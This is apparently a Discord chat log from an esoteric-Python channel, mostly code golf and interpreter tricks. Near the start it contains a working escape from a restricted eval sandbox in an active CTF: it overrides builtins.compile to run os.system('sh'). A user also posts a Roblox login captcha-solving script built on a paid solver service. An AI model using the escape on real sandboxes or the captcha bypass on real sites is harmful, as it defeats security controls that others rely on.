... print(eval(code, { "builtins": {"setattr": setattr, "import": import}}, {}))
...
Traceback (most recent call last):
File "<stdin>", line 5, in <module>
File "<string>", line 0
SyntaxError: invalid syntax
oh I see what's happening
let me just share the whole thing
(actually no I don't)
(but let me share anyway)
#!/usr/bin/env python3
import readline
readline.parse_and_bind("tab: complete")
readline.set_history_length(100)
try:
readline.read_history_file()
except FileNotFoundError:
pass
while True:
try:
code = input("> ")
if '.' in code:
print('.')
continue
try:
print(eval(code, { "__builtins__": {"setattr": setattr, "__import__": __import__}}, {}))
except Exception as e:
print(e)
pass
except (KeyboardInterrupt, EOFError):
readline.write_history_file()
break
oh, you mean actual empty string
I'm dumb
yeah that fails as you say
for some reason I entered '' as the prompt and thought I was doing anything sensible at all
what are you supposed to get here
presumably the ability to get a shell
unrestricted one?
in what sense?
like, if I can get something like os.system I'm set
I guess what I need is to interact with the system outside of this primitive REPL
there's a lot of various stuff you can do like list comprehensions and walrus assignments but idk anything else
maybe f-strings can work some magic
idk
idk if some nested f-string shenanigans could do anything
but the inner f-string would generate a string, so that's not that useful
you can manage to format precision somehow
but even then, how would I exec that string?
close
"{\x2esystem}".format(__import__('os'))
actually nvm, this wouldn't help would it?
i wanted to suggest the format() builtin but i realized it's disallowed
yeah, this would just get me a string repr of the thing I want to get
so close to being able to get a member
you can't exec some arbitrary file using __import__ can you?
it needs to have a name like something.py or whatnot for the import to work I'm guessing
not particularly appropriate
ah, fair- should probably
!e
eval("(c:=__import__('ctypes')).pythonapi.PyThreadState_SetAsyncExc(__import__('threading').get_ident(), c.py_object(ValueError))")
@dry mirage :warning: Your 3.11 eval job has completed with return code 0.
[No output]
hm, does -c make threading work differently 
that wouldn't work anyway because of the constraint on . in the task
(but interesting that there might be non statement ways of throwing)
you can using (()for()in()).throw, but that requires .
why are we discussing challenges in an active ctf...
!e
getattr((() for () in ()), 'throw')(ValueError)
@pearl socket :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | getattr((() for () in ()), 'throw')(ValueError)
004 | File "/home/main.py", line 1, in <genexpr>
005 | getattr((() for () in ()), 'throw')(ValueError)
006 | ValueError
Hello yes Stickie dragged me into this, it is incredibly cursed.
I just checked it out for fun lmao
all I knew how to do was like one of the things and the one where you had to watch anime
check out the python 4 one
I shall
I need help figuring out why my captcha isn't working.
def solve_captcha():
captcha_url = 'https://www.roblox.com/newlogin'
captcha_site_key = '6LefYzQUAAAAAEIwytKUVH0nQZedvLgQD1IHJHg2'
captcha_api_key = 'a113b222d7d7c67e71b6339f65045b51' # Replace with your own 2Captcha API key
# Get the site key and the page URL from the login page
response = requests.get(captcha_url)
site_key_start_index = response.text.find("siteKey: '") + 10
site_key_end_index = response.text.find("'", site_key_start_index)
site_key = response.text[site_key_start_index:site_key_end_index]
page_url = response.url
# Solve the captcha using 2Captcha
solver = TwoCaptcha(captcha_api_key)
result = solver.solve_recaptcha(sitekey=captcha_site_key, pageurl=captcha_url)
if not result['status'] == 0:
captcha_token = result['code']
return captcha_token
else:
print(f"Error solving captcha: {result['error']}")
return None
# Get the session ID and the captcha ID from the login page
with requests.Session() as s:
s.get(captcha_url)
captcha_id = s.cookies.get_dict()['_grecaptcha']
session_id = s.cookies.get_dict()['RBXEventTrackerV2']
# Make API request to get the CAPTCHA token
api_payload = {
'captchaId': captcha_id,
'captchaProvider': 'PROVIDER_ARKOSE_LABS',
'siteKey': captcha_site_key,
'sessionId': session_id,
'pageUrl': captcha_url
}
api_headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
}
api_response = requests.post(captcha_api_url, data=api_payload, headers=api_headers)
captcha_json = api_response.json()
if captcha_json.get('errors'):
print(f"Error getting CAPTCHA token. API response:\n{captcha_json}")
return None
captcha_token = captcha_json['captchaToken']
return captcha_token
Wrong channel buddy read #❓|how-to-get-help (and preferably #rules , fifth rule too)
i wonder why people come here looking for help
i also wonder
you can get help here but it wont be helpful for you
at least, not if you're just learning python
you see "esoteric-python" and u think "yeah, that's the perfect place to get help"
!e ```py
from einspect import view
view(int)["call"] = lambda *x: print(x)
(10)()
@vast wave :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | /home/main.py:4: SyntaxWarning: 'int' object is not callable; perhaps you missed a comma?
002 | (10)()
003 | (10,)
huh
oh wait it worked
!e ```py
from einspect import view
view(int)["call"] = lambda a, b: a+b
print(9(60))
@vast wave :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | /home/main.py:4: SyntaxWarning: 'int' object is not callable; perhaps you missed a comma?
002 | print(9(60))
003 | 69
!e ```py
from einspect import view
view(Ellipsis)["call"] = lambda s: "lmao you thought"
print(...())
@vast wave :x: Your 3.11 eval job has completed with return code 1.
001 | /home/main.py:4: SyntaxWarning: 'ellipsis' object is not callable; perhaps you missed a comma?
002 | print(...())
003 | Traceback (most recent call last):
004 | File "/home/main.py", line 2, in <module>
005 | view(Ellipsis)["__call__"] = lambda s: "lmao you thought"
006 | ~~~~~~~~~~~~~~^^^^^^^^^^^^
007 | TypeError: 'View' object does not support item assignment
huh
that's an instance view
!e ```py
from einspect import view
view(type(Ellipsis))["call"] = lambda s: "lmao you thought"
print(...())
@quartz wave :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | /home/main.py:4: SyntaxWarning: 'ellipsis' object is not callable; perhaps you missed a comma?
002 | print(...())
003 | lmao you thought
Ellipsis == ...
no it's literally just ...
>>> type(Ellipsis)
<class 'ellipsis'>
What's wrong here
This is the question
are they lists or sets
Lists
subset in this case means "all elements from n2 are in n1"
you're currently checking "is a1 in a2 if a2 is bigger, or is a2 in a1 if a1 is bigger"
and even that incorrectly
isSubset = lambda x, y: all(b in x for b in y) or all(b in y for b in x)

isSubset=lambda x,y:{*x}<={*y}or{*y}>{*x}
Sets have lots of fun sugar
can someone add some more nonsense to this? lol
lambda: lambda: map(lambda *, _,: _ ** _ | (_ := _ + _) / _ & _ != _ ^ _ | _ >= _^_ | _%_ == _, range(tuple(map(int, map(str, (0, 10))))[0]))```
are there any requirements? the current function <lambda>()() returns an empty map object
*it returns a lambda which returns an empty map
if you want nonsense, try using perl
python is actually a quite sensible language, overall
can this be golfed further?
u={-1}
for i in range(100):
print("".join("█"if x in u else" "for x in range(-100,0)));n=set()
for x in u:
if x+1 not in u:n.add(x)
if x-1 not in u:n.add(x);n.add(x-1)
u=n```
what does it do?
The Rule 110 cellular automaton (often called simply Rule 110) is an elementary cellular automaton with interesting behavior on the boundary between stability and chaos. In this respect, it is similar to Conway's Game of Life. Like Life, Rule 110 with a particular repeating background pattern is known to be Turing complete. This implies that, in...
this here has some ruby code that is meant to be the key but I dont understand ruby
https://gist.github.com/jballanc/2758638
u={i:=-1}
while i<99:
print("".join(" █"[x in u]for x in range(-100,0)));n={*()}
for x in u:x+1not in u==n.add(x);x-1not in u==n.add(x)or n.add(x-1)
u=n;i+=1
``` i think (166)
invalid decimal literals
!e py u={i:=-1} while i<99: print("".join(" █"[x in u]for x in range(-100,0)));n={*()} for x in u:x+1not in u==n.add(x);x-1not in u==n.add(x)or n.add(x-1) u=n;i+=1
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | /home/main.py:4: SyntaxWarning: invalid decimal literal
002 | for x in u:x+1not in u==n.add(x);x-1not in u==n.add(x)or n.add(x-1)
003 | /home/main.py:4: SyntaxWarning: invalid decimal literal
004 | for x in u:x+1not in u==n.add(x);x-1not in u==n.add(x)or n.add(x-1)
005 | █
006 | ██
007 | ███
008 | ████
009 | █████
010 | ██████
011 |
... (truncated - too long, too many lines)
Full output: too long to upload
just warnings, they arent actually invalid
at least not yet
ah i didn't check that
shaved one off with this
u={i:=-1}
while i<99:
print("".join("█"if x in u else" "for x in range(-100,0)));n=set()
for x in u:
if{x+1}-u:n.add(x)
if{x-1}-u:n.add(x);n.add(x-1)
u=n;i+=1```
"█"if x in u else" "```is the same as```py
" █"[x in u]```to shorten it some more
nice 159
156 ```py
u={i:=-1}
while i<99:
print("".join("█"if x in u else" "for x in range(-100,0)));n=[]
for x in u:
if{x+1}-u:n+=x,
if{x-1}-u:n+=x,;n+=x-1,
u={*n};i+=1
148 ```py
u={i:=-1}
while i<99:
print("".join(" █"[x in u]for x in range(-100,0)));n=[]
for x in u:
if{x+1}-u:n+=x,
if{x-1}-u:n+=x,;n+=x-1,
u={*n};i+=1
yeah I could not figure oout how to use a list instead of a set
so, here is a solution
(i:=__import__,b:=i("builtins"),s:=setattr,s(b,"compile",lambda*a,**k:"import os;os\56system('sh')"),s(b,"isinstance",lambda*a:1),s(b,"str",lambda x:x or"x"),i("xml"))
quite cursed
replace compile and a few other things, import xml module which (I'm assuming) ends up doing a compile and exec
Ohh I should have known the compile trick
I have a challenge for you. Your goal is to write seq function in one expression:
# inp - some value (you shouldn't touch it)
# parser - callable, takes inp and returns either:
# - in case of success: tuple[Any, inp]
# - in case of failure: None
# seq takes several parsers, and returns new parser that applies all parsers to inp and returns:
# - if all parsers succeeded: their outputs as tuple + modified inp
# - if at least one failed: None
def seq(*ps):
def parse(inp):
result = []
for p in ps: # for every parser
if not (r := p(inp)): # if parser failed return None
return None
value, inp = r # if parser succeeded get returned value and update inp
result.append(value)
return (tuple(result), inp) # return tuple of results and modified inp
return parse
# To test it you can use this code:
shift = lambda inp: None if inp[1] >= len(inp[0]) else (inp[0][inp[1]], (inp[0], inp[1] + 1))
filt = lambda f: lambda p: lambda inp: r if (r := p(inp)) is not None and f(r[0]) else None
a = filt('a'.__eq__)(shift)
b = filt('b'.__eq__)(shift)
c = filt('c'.__eq__)(shift)
abc = seq(a, b, c)
assert abc(('abc', 0)) == (('a', 'b', 'c'), ('abc', 3))
assert abc(('abcd', 0)) == (('a', 'b', 'c'), ('abcd', 3))
assert abc(('xabcd', 1)) == (('a', 'b', 'c'), ('xabcd', 4))
assert abc(('abc', 1)) == None
assert abc(('xyz', 0)) == None
I got this result: || ```py
seq = lambda *ps: lambda inp: (
it := iter(ps),
res := tuple(
(
r := p(inp),
((inp := r[1], r[0]) if r is not None else ([*it], None))[-1],
)[-1]
for p in it
),
(res, inp) if res[-1] is not None else None,
)[-1]
If possible, seq also should be efficient: it should return None early if any parser failed
|| ```py
seq = lambda *P:lambda I,f=1,n=None:(tuple([I:=i]and v for p in P if I!=n or(f:=0)for(v,i)in[p(I)or(0,n)]),I)*f or n
it doesn't quite bail directly after a failed parser but it does not call any subsequent parsers and the loop that still has to finish is just the loop over parsers
cool
and once listcomps don't need an additional scope I can drop the inline assignment and just let the for loop do the assignment for me
it does not work in this case: assert abc(('abdc', 0)) == None
it returns (('a', 'b', 0), None) (third parser failed but it still returns result)
same with this: assert abc(('ab', 0)) == None
weird
can I assume that inp can never be None and use it as a flag?
yes
it is a tuple of (str, int) where string is a text that is being parsed and int is a current position in this text
in this case your code works: assert abc(('ad', 0)) == None

I'm kinda confused
do the parsers modify inp?
ohh inp is getting reassigned
nvm I understand
|| ```py
seq = lambda P:lambda I,n=None:(tuple(v for(p)in(P)if(I)for(v,i)in[p(I)or(0,n)]if(I:=i)),I)(I!=n)or n
this is inspired by this article (it is in russian): https://habr.com/ru/companies/ruvds/articles/728158/
now i am trying to one-line everything from it
should we check explicitly if it's None or can we just use the falsy nature
i have also discovered that yield is no longer allowed inside of comprehensions so my gross generator solution cannot be done in the same way anymore
i think you can save 1 char: ```py
tuple(...)
(*(...),)
your solution, but ungolfed: ||```py
seq = (
lambda *ps: lambda inp:
(
tuple(
value
for p in ps if inp is not None
for value, new_inp in [p(inp) or (..., None)] if (inp := new_inp) is not None
),
inp,
) * (inp is not None)
or None
)
oh, there is an original article in english: https://github.com/dabeaz/blog/blob/main/2023/three-problems.md
|| ```py
seq = lambda P:lambda I,n=None:((((I:=p(I))and(I[0],I:=I[1])[0]for(p)in(P)if I),),I)*(I!=n)or n
oof
|| ```py
seq = lambda P:lambda I:((((I:=p(I))and(I[0],I:=I[1])[0]for(p)in(P)if I),),I)*(I!=None)or I
|| ```py
seq = lambda P:lambda I:((((I:=p(I))and(I[0],I:=I[1])[0]for(p)in(P)if I),),I)*bool(I)or I
are the other whitespaces supposed to be there ||```py
seq=lambdaP:lambda I:((((I:=p(I))and(I[0],I:=I[1])[0]for(p)in(P)if I),),I)*bool(I)or I
Yea
For readability
this is violation
x=input
for i in range(int(x())):print(bin(int(x()))[2:])
Just prints out value's binary
You can easily make that oneline with a walrus (ignoring ; since that's cheating)
Never used Walrus operator before so not sure.
That's cool never knew you could do that.
Also just realized another way to shorten it.
for _ in range(int((i:=input)())):print(f"{int(i()):b}")
i would like to point out that assigning to input when you're inputting twice breaks even
so there's no point in doing it
for _ in[0]*int(input()):print(f'{int(input()):b}')
if the first line is just there for convenience and the remaining input is really to end of file you could
_,*r=open(0);[print(f'{int(x):b}')for x in r]
and even in the case where you need the current behavior
exec("print(f'{int(input()):b}');"*int(input()))
i=input;exec("print(f'{int(i()):b}:);"*int(i()))```
why?
it's the same length and uglier
Uglier = better
everything else equal, prettier is better 😔

[print(f'{int(x):b}')for x in open(0)[1:]]```looks like the shortest without "cheats" (`exec`/`;`)
!epy print(len("""exec("print(f'{int(input()):b}');"*int(input())) """)) print(len("""i=input;exec("print(f'{int(i()):b}:);"*int(i())) """))
@arctic skiff :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 49
002 | 49
Umm
I mean, that version cheats in that the behavior is different from the original code
also, that won't run
yeah i don't think open(0) is slicable
it's not
Nope
this is neat i'll have to remember that
the only reason I have it in my head is that you can use this kind of thing for io performance
read everything at once, then index into a huge list
it's ugly, but fast
so e.g.
inp = [int(x) for x in open(0).read().split()]
ix = 0
n = inp[ix]; ix += 1
A = inp[ix:ix+n]; ix += n
I guess you could wrap it in a function to make it a bit less ugly
my friend who does (did?) a lot of competitive programming in python did this a lot
I hate it because it's just ugly
would be nice if you had sliceable IO types
It makes sense that you don't though because it would require seeking to find the new lines that it normally yields each line on
I think reading everything into memory at once is usually a good idea, actually. I/O is often a performance bottleneck; if you expect to have to read everything anyway, then it's probably best to read it in the most efficient way you can, which means in a big batch.
the builtin IO types already read a decent amount into memory, but they still buffer (otherwise with large files your memory footprint would balloon)
Memory is cheap, and most data isn't big. You sometimes gain a little bit of performance by reading everything at once (e.g., constructions like (*f,) or (*map(operator.methodcaller('strip'), f),)). I think it's often a reasonable thing to do. Especially since usually your time is more valuable than the computer's.
file objects are iterator-like
so it would be kinda weird
yeah that's fair
and slicing is quite expensive if it's slicing lines
slicing bytes could make sense, and it could actually be efficient on regular files
first time I've seen operator.methodcaller
I think in this case just str.strip would be neater, unless you want to be generic and accept bytes
i=input;j=int;a=j(i());b=j(i());c=a+b;e=c;d=1
while d<c:d+=1;e=[b+c,a+c][e%2==0]
print(e)
Hey, i have this little algorithm
I was wondering how could i golf if further?
What is it supposed to do?
!e ```py
N = None
p=(lambda f:lambda p:lambda I:(f(r[0]),r[1])if(lambda r:r is not N)(r:=p(I))else N)(lambda x:x[1][-1,+1][x[0]=='+'])((lambdaps:lambda i:(tuple((i:=p(i))and(i[0],i:=i[1])[0] for p in ps if i),i,)*(i is not N)or N)((lambda *ps:lambda I:next((r for p in ps if(lambda r:r is not N)(r:=p(I))),N))((lambda v:(lambda v:(lambda f:lambda p:lambda I:r if(lambda r:r is not N)(r:=p(I))and f(r[0])else N)(v.eq))(v)(lambda I:N if I[1]>=len(I[0])else(I[0][I[1]],(I[0],I[1]+1))))('+'),(lambda v:(lambda v:(lambda f:lambda p:lambda I:r if(lambda r:r is not N)(r:=p(I))and f(r[0])else N)(v.eq))(v)(lambda I:N if I[1]>=len(I[0])else(I[0][I[1]],(I[0],I[1]+1))))('-'),(lambda v:lambda I:(v,I))('+')),(lambda f:lambda p:lambda I:(f(r[0]),r[1])if(lambda r:r is not N)(r:=p(I))else N)(int)(((lambda f:lambda p:lambda I:(f(r[0]),r[1])if(lambda r:r is not N)(r:=p(I))else N)(''.join))((lambda p:(lambda f:lambda p:lambda I:r if(lambda r:r is not N)(r:=p(I))and f(r[0])else N)(bool)((lambda p:lambda I:(tuple((I:=r[1],r[0])[-1] for r in iter(lambda:p(I),N)),I,))(p)))((lambda p1,p2:(lambda f:lambda p:lambda I:(f(r[0]),r[1])if(lambda r:r is not N)(r:=p(I))else N)(lambda x:x[0])((lambda ps:lambda i:(tuple((i:=p(i))and(i[0],i:=i[1])[0] for p in ps if i),i,)(i is not N)or N)(p1,p2)))(((lambda f:lambda p:lambda I:r if(lambda r:r is not N)(r:=p(I))and f(r[0])else N)(str.isdigit)(lambda I:N if I[1]>=len(I[0])else(I[0][I[1]],(I[0],I[1]+1)))),(lambda p:lambda I:(tuple((I:=r[1],r[0])[-1] for r in iter(lambda:p(I),N)),I,))((lambda v:(lambda v:(lambda f:lambda p:lambda I:r if(lambda r:r is not N)(r:=p(I))and f(r[0])else N)(v.eq))(v)(lambda I:N if I[1]>=len(I[0])else(I[0][I[1]],(I[0],I[1]+1))))('_')))))),
))
parse=lambda p,s:p((s,0))[0]
assert parse(p,'1_2_3')==123
assert parse(p,'123')==123
assert parse(p,'+123')==+123
assert parse(p,'-123')==-123
print('ok')
@fleet bridge :white_check_mark: Your 3.11 eval job has completed with return code 0.
ok
syntax highlighters are dying
i love how mypy is giving me only one random error inside this huge lambda mess
this is the best I can do off the top of my head
i=input;a=int(i());b=int(i());c=e=a+b;d=1
while d<c:d+=1;e=[b,a][~e%2]+c
print(e)
a=int(input())
b=int(input())
c=e=a+b
d=1
while d<c:d+=1;e=c+(a,b)[e%2]
print(e)```
aliasing int used more characters than it saved, and aliasing input didn't save any characters
so i removed those
also, if you reverse the order of the tuple, you don't need to complement the condition
74 ```py
c=e=sum(t:=eval('int(input()),'*2))
d=1
while d<c:d+=1;e=c+t[e%2]
print(e)
68 ```py
c=e=sum(t:=eval('int(input()),'2))
exec("e=c+t[e%2];"~-c)
print(e)
hopeless
oo nice
67 py t=a,b=eval("int(input()),"*2) print(a+b+t[(a&b,a|b,a)[b%2<=a%2]%2])
c=e=sum(t:=eval("int(input()),"*2));exec("e=c+t[e%2];"*~-c);print(e)
t=a,b=eval("int(input()),"*2);print(a+b+t[(a&b,a|b,a)[b%2<=a%2]%2])```
also, as a bonus, it executes faster
huh
not sure what i was doing but theres actually 2 entirely wasted characters there. the ,a does literally nothing
65 py t=a,b=eval("int(input()),"*2) print(a+b+t[(a&b,a|b)[b%2<=a%2]%2])
pretty sure that was leftover from when i was editing it or smth
b%2<=a%2 -> a%2>b%2?
and swap the tuple around
doesnt work
truth table of a%2>b%2:
|-----------|-----------|-----------|
| a%2 | b%2 | a%2>b%2 |
|-----------|-----------|-----------|
| false | false | false |
| false | true | false |
| true | false | true |
| true | true | false |
|-----------|-----------|-----------|
we need the truth table to be one of these:
|-----------|-----------|-----------------------|
| a%2 | b%2 | result of operation |
|-----------|-----------|-----------------------|
| false | false | true |
| false | true | false |
| true | false | true |
| true | true | true |
|-----------|-----------|-----------------------|
|-----------|-----------|-----------------------|
| a%2 | b%2 | result of operation |
|-----------|-----------|-----------------------|
| false | false | false |
| false | true | true |
| true | false | false |
| true | true | false |
|-----------|-----------|-----------------------|
a true value could also be -1, since the tuple only has 2 elements
oo, nice one
mm yeah
that means the shortest is now a 58 by hjhj ```py
t=a,b=*map(int,open(0)),
print(a+b+t[(a|b,a&b)[b%2>a%2]%2])
!e
print(eval(''.join([chr(ord(_)+1)for _ in....__eq__.__class__.__name__]),{'nfuipe':type('',(),{'xsbqqfs':'Hello, world'})},{}))
@pearl socket :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello, world
What are these three dots?
The Ellipsis object, used in slicing and as a placeholder
!e
print(...)
@restive void :white_check_mark: Your 3.11 eval job has completed with return code 0.
Ellipsis
This seems like a good channel to discuss this
https://mail.python.org/pipermail/python-dev/2016-August/145979.html
An update that explicitly breaks the paradigm
The has come to affect me in an attempt to make conditional quotation marks
f'This sometimes has quotes: {X if condition else f"\"{X}\""}'
There's probably a better way to do this, but still a little annoying
afaik this restriction will be lifted once fstrings become formalized syntax
!pep 701
Wow, good to know, thanks for the info!
this PEP is accepted, which means that it will be in effect in Python 3.12
Python 4 when
That's a question for #python-discussion. This channel is for code golfing/gore/etc., not python questions.
But tl;dr; probably never
Sorry